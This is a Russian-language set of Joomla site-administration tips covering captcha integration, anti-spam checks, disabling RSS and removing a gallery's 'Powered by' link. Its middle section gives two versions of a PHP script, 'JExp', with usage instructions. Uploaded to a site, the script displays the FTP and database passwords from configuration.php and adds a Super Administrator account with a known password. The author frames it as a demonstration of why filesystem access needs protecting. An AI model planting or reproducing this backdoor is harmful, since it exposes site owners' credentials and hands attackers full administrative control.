Чтобы при создании нового шаблона не загружались стандартные яваскрипты mootools.js и caption.js при подключении
<jdoc:include type="head" />
в index.php создаваемого шаблона пишем:
$user = & JFactory::getUser();
if ($user->get('guest') == 1) {
$headerstuff = $this->getHeadData();
$key1 = JURI::base(true). '/media/system/js/mootools.js';
$key2 = JURI::base(true). '/media/system/js/caption.js';
unset($headerstuff['scripts'][$key1], $headerstuff['scripts'][$key2]);
$this->setHeadData($headerstuff);
}
http://joomlaforum.ru/index.php?topic=101107.0
Интеграция kcaptcha.
Отключаем в настройках ruBook стандартную защиту. Далее правятся файлы. (Проверялось на версии 0.4.3.)
1. /components/com_rubook/rubook.html.php
после:
<?php
if ( is_imgcode() ) {
?>
<tr>
<td><?php echo _COM_RUBOOK_LANG_FIELD_ENTER_CODE; ?></td>
<td><input type="text" class="inputbox" name="info[imgcodetext]" maxlength="7" style="width: 130px" /></td>
<td colspan="2"><img src="<?php echo $GLOBALS['mosConfig_live_site']; ?>/components/com_rubook/imgcode.php"></td>
</tr>
<?php
}
?>
дописываем:
<tr>
<td><?php echo _COM_RUBOOK_LANG_FIELD_ENTER_CODE; ?></td>
<td><input type="text" class="inputbox" name="info[keystring]" maxlength="7" style="width: 130px" /></td>
<td colspan="2"><img src="<?php echo $GLOBALS['mosConfig_live_site']; ?>/imgcode/?<?php echo session_name()?>=<?php echo session_id()?>" /></td>
</tr>
<?php echo $GLOBALS['mosConfig_live_site']; ?>/imgcode/
— путь к файлам kcaptcha, т.е. в примере распаковываем содержимое архива в папку imgcode в корне сайта.
2. components/com_rubook/rubook.class.php
после
/** Проверка кода защиты */
if ( ( $GLOBALS['mosRuBookConfig_imgcode'] == 1 ) and ( $GLOBALS['mosRuBookUser_admin'] != 1 ) ) {
if ( ! ( $_SESSION['img_code'] == md5( $object->imgcodetext ) ) ) {
$object->_error = _COM_RUBOOK_LANG_CODE_BAD;
return false;
}
}
дописываем:
if (isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] != $object->keystring) {
$object->_error = _COM_RUBOOK_LANG_CODE_BAD;
return false;
}
после:
$object->imgcodetext = ( isset( $info['imgcodetext'] ) ) ? $info['imgcodetext'] : '';
дописываем:
$object->keystring = ( isset( $info['keystring'] ) ) ? $info['keystring'] : '';
после:
$this->imgcodetext = ( isset( $info['imgcodetext'] ) ) ? $info['imgcodetext'] : '';
дописываем:
$this->keystring = ( isset( $info['keystring'] ) ) ? $info['keystring'] : '';
Проверка значения параметра REFERER.
Т.е. адреса страницы, откуда выполнен переход. Если этот параметр пустой значит запрос к форме выполняется напрямую.
if ($_SERVER["HTTP_REFERER"] == '') {
$object->_error = "Spam Detected!";
return false;
}
Проверка, не содержит ли коммент ссылку
Лучше наверное добавить какую-то регулярку для проверки на наличие ссылок, но сейчас поступим более параноидально:
if (preg_match("/http/i", $object->text)) {
$object->_error = "Links in the comments are not allowed!";
return false;
}
Цель: убрать <br/><br/>
между списком страниц и «Страница 1 из 40»
После
<?php echo $this->pagination->getPagesLinks(); ?>
1. /components/com_content/views/frontpage/tmpl/default.php
(возможно 92 строка)
2. /components/com_content/views/category/tmpl/blog.php
(возможно 109 строка)
По функциональности ничем не отличается от JExp 0.1, но реализовано более правильно.
<?php
function GetParam($arg) {
global $exp;
$show = $exp->$arg;
return $show;
}
function PrintParam($arg) {
print("<b>".$arg.": </b>".GetParam($arg)."<br/>");
}
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
include "configuration.php";
$exp = new JConfig();
echo "<h3>ftp configuration</h3>";
PrintParam('ftp_host');
PrintParam('ftp_user');
PrintParam('ftp_pass');
echo "<h3>mysql configuration</h3>";
PrintParam('host');
PrintParam('user');
PrintParam('db');
PrintParam('password');
PrintParam('dbprefix');
echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) {
$here_we_go = mysql_connect(GetParam("host"), GetParam("user"), GetParam("password"));
$select_db_query = mysql_select_db(GetParam("db"), $here_we_go);
$new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$jos_users_query = mysql_query("
INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())
", $here_we_go);
$jos_core_acl_aro_query = mysql_query("
INSERT INTO jos_core_acl_aro
(section_value, value, order_value, name, hidden)
VALUES
('users', LAST_INSERT_ID(), '0', '".$new_fullname."', '0')
", $here_we_go);
$jos_core_acl_groups_aro_map_query = mysql_query("
INSERT INTO jos_core_acl_groups_aro_map
(group_id, aro_id)
VALUES
('25', LAST_INSERT_ID())
", $here_we_go);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else {
echo "unauthorized access!";
}
?>
Актуальная версия скрипта: JExp 0.2
Информация исключительно для того, чтобы понимать необходимость защиты сайта от доступа к файловой системе. Скрипт, используя конфигурационный файл joomla, выводит на экран интересующие нас параметры доступа к сайту, а также позволяет удаленно добавить пользователя в группу Super Administrator.
<?php
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
include "configuration.php";
$exp = new JConfig();
function PrintParam($arg) {
global $exp;
$arg_ans = $exp->$arg;
print("<b>".$arg.": </b>".$arg_ans."<br/>");
}
echo "<h3>ftp confuguration</h3>";
PrintParam('ftp_host');
PrintParam('ftp_user');
PrintParam('ftp_pass');
echo "<h3>mysql configuration</h3>";
PrintParam('host');
PrintParam('user');
PrintParam('db');
PrintParam('password');
PrintParam('dbprefix');
echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) {
$connect = mysql_connect($exp->host, $exp->user, $exp->password);
$db_select = mysql_select_db($exp->db, $connect);
$new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$add_query = "INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())";
$add_action = mysql_query($add_query, $connect);
$jos_core_acl_aro_SQ = "SELECT id FROM jos_users WHERE username='".$new_username."'";
$jos_core_acl_aro_SA = mysql_query($jos_core_acl_aro_SQ, $connect);
$jos_core_acl_aro_SR = mysql_fetch_array($jos_core_acl_aro_SA, $connect);
$jos_core_acl_aro_ID = $jos_core_acl_aro_SR[0];
$jos_core_acl_aro_IQ = "INSERT INTO jos_core_acl_aro (section_value, value, order_value, name, hidden) VALUES
('users', '".$jos_core_acl_aro_ID."', '0', '".$new_fullname."', '0')";
$jos_core_acl_aro_IA = mysql_query($jos_core_acl_aro_IQ, $connect);
$jos_core_acl_groups_aro_map_SQ = "SELECT id FROM jos_core_acl_aro WHERE name='".$new_fullname."'";
$jos_core_acl_groups_aro_map_SA = mysql_query($jos_core_acl_groups_aro_map_SQ, $connect);
$jos_core_acl_groups_aro_map_SR = mysql_fetch_array($jos_core_acl_groups_aro_map_SA, $connect);
$jos_core_acl_groups_aro_map_ID = $jos_core_acl_groups_aro_map_SR[0];
$jos_core_acl_groups_aro_map_IQ = "INSERT INTO jos_core_acl_groups_aro_map (group_id, aro_id) VALUES
('25', '".$jos_core_acl_groups_aro_map_ID."')";
$jos_core_acl_groups_aro_map_IA = mysql_query($jos_core_acl_groups_aro_map_IQ, $connect);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else {
echo "unauthorized access!";
}
?>
Использование:
include "configuration.php";
— путь к файлу в зависимости от того, где в файловой системе находится скрипт.
Параметры нового пользователя, а именно логин, полное имя, e-mail и т.д. указываются в тексте скрипта. Там, кажется, все понятно.
Пароль указан в том формате, в котором его хранит Joomla. В примере указан хэш пароля qwerty
, изменить его можно уже из админки. Ну или же создать где-нибудь у себя пользователя и скопировать хэш из phpMyAdmin.
В браузере GETом передаем скрипту имя сервера, ну что-то вроде защиты от случайного использования, наверное можно придумать что-то интереснее.
Необходимый результат: отключить RSS, формируемого из контента сайта.
Выглядит как:
<link href="/index.php?format=feed&type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
<link href="/index.php?format=feed&type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />
В расширенных параметрах пункта меню, который указывает на главную страницу сайта отключить опцию «Показать ссылку на ленту». Но перейдя по ссылкам http://наш_сайт/index.php?format=feed&type=atom
и http://наш_сайт/index.php?format=feed&type=rss
все будет как и было. Далее в файле /libraries/joomla/document/feed/feed.php
изменим следующую функцию например до такого вида:
function __construct($options = array())
{
parent::__construct($options);
//set document type
//$this->_type = 'feed';
JError::raiseError (404, JText::_('Resource Not Found'));
}
1. Редактируем файл: /components/com_phocagallery/views/categories/view.html.php
Удалить (строка 219):
$tmpl['ab'] = base64_decode('PGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBjb2xvcjogcmdiKDIxMSwgMjExLCAyMTEpOyI+UG93ZXJlZCBieSA8YSBocmVmPSJodHRwOi8vd3d3LnBob2NhLmN6IiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lOyIgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSJQaG9jYS5jeiI+UGhvY2E8L2E+IDxhIGhyZWY9Imh0dHA6Ly93d3cucGhvY2EuY3ovcGhvY2FnYWxsZXJ5IiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lOyIgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSJQaG9jYSBHYWxsZXJ5Ij5HYWxsZXJ5PC9hPjwvZGl2Pg0K');
2. Редактировать файл /administrator/components/com_phocagallery/libraries/phocagallery/render/renderfront.php
Удалить (строка 473)
return '<'.'d'.'i'.'v'.' '.'s'.'t'.'y'.'l'.'e'.'='.'"'.'t'.'e'.'x'.'t'.'-'.'a'.'l'.'i'.'g'.'n'.':'.' '.'c'.'e'.'n'.'t'.'e'.'r'.';'.' '.'c'.'o'.'l'.'o'.'r'.':'.' '.'r'.'g'.'b'.'('.'2'.'1'.'1'.','.' '.'2'.'1'.'1'.','.' '.'2'.'1'.'1'.')'.';'.'"'.'>'.'P'.'o'.'w'.'e'.'r'.'e'.'d'.' '.'b'.'y'.' '.'<'.'a'.' '.'h'.'r'.'e'.'f'.'='.'"'.'h'.'t'.'t'.'p'.':'.'/'.'/'.'w'.'w'.'w'.'.'.'p'.'h'.'o'.'c'.'a'.'.'.'c'.'z'.'"'.' '.'s'.'t'.'y'.'l'.'e'.'='.'"'.'t'.'e'.'x'.'t'.'-'.'d'.'e'.'c'.'o'.'r'.'a'.'t'.'i'.'o'.'n'.':'.' '.'n'.'o'.'n'.'e'.';'.'"'.' '.'t'.'a'.'r'.'g'.'e'.'t'.'='.'"'.'_'.'b'.'l'.'a'.'n'.'k'.'"'.' '.'t'.'i'.'t'.'l'.'e'.'='.'"'.'P'.'h'.'o'.'c'.'a'.'.'.'c'.'z'.'"'.'>'.'P'.'h'.'o'.'c'.'a'.'<'.'/'.'a'.'>'.' '.'<'.'a'.' '.'h'.'r'.'e'.'f'.'='.'"'.'h'.'t'.'t'.'p'.':'.'/'.'/'.'w'.'w'.'w'.'.'.'p'.'h'.'o'.'c'.'a'.'.'.'c'.'z'.'/'.'p'.'h'.'o'.'c'.'a'.'g'.'a'.'l'.'l'.'e'.'r'.'y'.'"'.' '.'s'.'t'.'y'.'l'.'e'.'='.'"'.'t'.'e'.'x'.'t'.'-'.'d'.'e'.'c'.'o'.'r'.'a'.'t'.'i'.'o'.'n'.':'.' '.'n'.'o'.'n'.'e'.';'.'"'.' '.'t'.'a'.'r'.'g'.'e'.'t'.'='.'"'.'_'.'b'.'l'.'a'.'n'.'k'.'"'.' '.'t'.'i'.'t'.'l'.'e'.'='.'"'.'P'.'h'.'o'.'c'.'a'.' '.'G'.'a'.'l'.'l'.'e'.'r'.'y'.'"'.'>'.'G'.'a'.'l'.'l'.'e'.'r'.'y'.'<'.'/'.'a'.'>'.'<'.'/'.'d'.'i'.'v'.'>';